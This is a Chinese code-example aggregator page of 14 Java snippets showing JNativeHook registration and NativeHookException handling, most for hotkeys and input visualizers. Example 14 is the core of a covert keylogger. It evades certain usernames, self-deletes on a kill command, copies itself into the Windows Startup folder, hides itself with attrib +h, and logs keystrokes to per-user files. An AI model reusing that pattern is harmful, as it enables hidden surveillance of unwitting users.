本文整理汇总了Java中org.jnativehook.NativeHookException.printStackTrace方法的典型用法代码示例。如果您正苦于以下问题:Java NativeHookException.printStackTrace方法的具体用法?Java NativeHookException.printStackTrace怎么用?Java NativeHookException.printStackTrace使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类org.jnativehook.NativeHookException
的用法示例。
在下文中一共展示了NativeHookException.printStackTrace方法的14个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: init
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public static void init() {
try {
// Get the logger for "org.jnativehook" and set the level
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(loggingLevel);
// disable the parent handlers
logger.setUseParentHandlers(false);
// Init JNativeHook
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(new NativeKeyListener());
Log.debug("JNativeHook initialized.");
} catch (NativeHookException e) {
e.printStackTrace();
}
}
示例2: initGlobalListeners
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
private void initGlobalListeners() {
// Initialze native hook.
try {
GlobalScreen.registerNativeHook();
}
catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
ex.printStackTrace();
System.exit(1);
}
detectKeys = new DetectKeys(this, keyLabel, shift, ctrl, alt, mouseLabel, mouseImages);
GlobalScreen.addNativeKeyListener(detectKeys);
GlobalScreen.addNativeMouseWheelListener(detectKeys);
GlobalScreen.addNativeMouseListener(detectKeys);
}
示例3: initNativeMouseMotionListener
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
/**
* Use jnativehook to detect mouse drag events and show popover
*/
private void initNativeMouseMotionListener() {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException e1) {
e1.printStackTrace();
}
GlobalScreen.addNativeMouseMotionListener(this);
GlobalScreen.addNativeMouseListener(this);
GlobalScreen.addNativeKeyListener(this);
}
示例4: nativeKeyPressed
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
@Override
public void nativeKeyPressed(NativeKeyEvent e) {
System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
try {
GlobalScreen.unregisterNativeHook();
} catch (NativeHookException ex) {
ex.printStackTrace();
}
}
}
示例5: exit
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
/**
* Shuts down the program
*/
protected static final void exit(){
try {
GlobalScreen.unregisterNativeHook();
} catch (NativeHookException e1) {
e1.printStackTrace();
}
System.exit(0);
}
示例6: initVirtualizer
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
private void initVirtualizer() {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
ex.printStackTrace();
System.exit(1);
}
LogManager.getLogManager().reset();
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
GlobalScreen.addNativeKeyListener(this);
}
示例7: shutdownVirtualizer
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public void shutdownVirtualizer() {
try {
GlobalScreen.unregisterNativeHook();
} catch (NativeHookException e1) {
e1.printStackTrace();
}
System.runFinalization();
}
示例8: HotKeysInterceptor
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public HotKeysInterceptor() {
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
logger.setUseParentHandlers(false);
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException e) {
e.printStackTrace();
}
GlobalScreen.addNativeKeyListener(new MercuryNativeKeyListener());
GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
}
示例9: main
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public static void main(String[] args) {
// new HotKeysInterceptor();
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
logger.setUseParentHandlers(false);
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException e) {
e.printStackTrace();
}
GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
}
示例10: main
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public static void main(String[] args) {
try {
GlobalScreen.registerNativeHook();
LogManager.getLogManager().reset();
ApplicationFrame frame = new ApplicationFrame(new Callback<Boolean>() {
@Override
public void callback(Boolean spaces) {
disableSpace = spaces;
GlobalScreen.getInstance().addNativeKeyListener(new GlobalKeyListener(new Callback<Integer>() {
@Override
public void callback(Integer keyCode) {
int currentValue = 0;
if (keyMap.containsKey(keyCode)){
if (disableSpace && keyCode!=NativeKeyEvent.VC_SPACE)
currentValue = keyMap.get(keyCode);
else if (!disableSpace)
currentValue = keyMap.get(keyCode);
}
keyMap.put(keyCode,currentValue+1);
System.out.println(keyCode);
}
}));
}
},
new Callback<Void>() {
@Override
public void callback(Void aVoid) {
HeatMapFrame p = new HeatMapFrame(keyMap);
p.setVisible(true);
}
});
frame.setVisible(true);
} catch (NativeHookException e) {
e.printStackTrace();
}
}
示例11: windowClosed
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
/**
* Finalize and exit the program.
*
* @see java.awt.event.WindowListener#windowClosed(java.awt.event.WindowEvent)
*/
public void windowClosed(WindowEvent e) {
// Clean up the native hook.
try {
GlobalScreen.unregisterNativeHook();
}
catch (NativeHookException ex) {
ex.printStackTrace();
}
System.runFinalization();
System.exit(0);
}
示例12: startLogging
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public void startLogging() {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException e) {
BioLogger.LOGGER.severe("There was a problem registering the native hook.");
if (System.getProperty("os.name").toLowerCase().contains("mac")) {
BioLogger.LOGGER.severe("Make sure that Assistive Devices is enabled.");
BioLogger.LOGGER.severe(
"Go to System Preferences->Security & Privacy->Accessibility");
}
e.printStackTrace();
return;
}
if (mClassMap.containsKey(BioKeystrokeEvent.class)) {
GlobalScreen.addNativeKeyListener(mListener);
}
if (mClassMap.containsKey(BioClickEvent.class)) {
GlobalScreen.addNativeMouseListener(mListener);
}
if (mClassMap.containsKey(BioMotionEvent.class)) {
GlobalScreen.addNativeMouseMotionListener(mListener);
}
if (mClassMap.containsKey(BioWheelEvent.class)) {
GlobalScreen.addNativeMouseWheelListener(mListener);
}
}
示例13: stopLogging
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public void stopLogging() {
try {
GlobalScreen.unregisterNativeHook();
} catch (NativeHookException e) {
e.printStackTrace();
}
mBuffer.stop();
}
示例14: exec
import org.jnativehook.NativeHookException; //导入方法依赖的package包/类
public void exec() throws IOException, URISyntaxException
{
int version = 1;
if (getCurrentVersion() > version) {
Chocolat.println("[?] A newer version has been released. Downloading version: " + getCurrentVersion());
}
String[] protect = new String[]{"s-duv", "citrus","s-tehi", "s-chenb", "s-chenr"};
Chocolat.println("Local_Username: " + System.getProperty("user.name"));
if (Radio.isSecondaryDistrib)
{
for(int fsk = 0; fsk < protect.length; fsk++)
{
if (protect[fsk].matches(System.getProperty("user.name")))
{
Chocolat.println("[" + robert.elapsedTime() + "] [!] Run Access Denied: Acct Status " + fsk);
System.exit(0);
}
}
}
if (Radio.verifyOS && !isWindows())
{
Chocolat.println("[" + robert.elapsedTime() + "] [!] Run Access Denied: OS is not Windows.");
System.exit(0);
}
if (Radio.checkForKill && isSuicune())
{
Chocolat.println("[" + robert.elapsedTime() + "] [!] Run Access Denied: Kill Command Received.");
File cf = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
cf.deleteOnExit();
System.exit(0);
}
Chocolat.println("[" + robert.elapsedTime() + "] [✔] Run Access Granted: All safety checks passed.");
if (Radio.doPersistance)
{
File yiffyiff = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
String startup = "C:/Users/" + System.getProperty("user.name") + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup";
@SuppressWarnings("unused")
Process p =Runtime.getRuntime().exec(System.getenv("windir") +"\\system32\\"+"xcopy.exe" + " \"" + yiffyiff + "\"" + " \"" + startup +"\"");
@SuppressWarnings("unused")
Process px =Runtime.getRuntime().exec(System.getenv("windir") +"\\system32\\"+"attrib.exe +h" + " \"" + yiffyiff + "\"");
}
File log = new File("C:/ClassPolicy/" + System.getProperty("user.name") + ".txt");
if(!log.exists())
{
Chocolat.println("Creating logfile...");
Chocolat.println("[" + robert.elapsedTime() + "] Starting...");
log.createNewFile();
}
else
{
Chocolat.println("[" + robert.elapsedTime() + "] Starting...");
}
Chocolat.println("[" + robert.elapsedTime() + "] [✔] File I/O Established.");
String fn = "C:/ClassPolicy/" + System.getProperty("user.name") + ".txt";
PrintWriter timestamper = new PrintWriter(new FileWriter(fn, true));
timestamper.println();
timestamper.print("[Startup: " + new SimpleDateFormat("EEEE").format(new Date()) + " +" + getTime() + " ]");
timestamper.println();
timestamper.close();
if (Radio.logKeystrokes)
{
try
{
GlobalScreen.registerNativeHook();
Chocolat.println("[" + robert.elapsedTime() + "] [✔] HookModule Successfully Registered.");
}
catch (NativeHookException e)
{
// TODO Auto-generated catch block
Chocolat.println("["+ robert.elapsedTime() + "][!][FATAL] A NativeHook Exception Occured: " + e);
e.printStackTrace();
}
GlobalScreen.getInstance().addNativeKeyListener(new Main());
}
}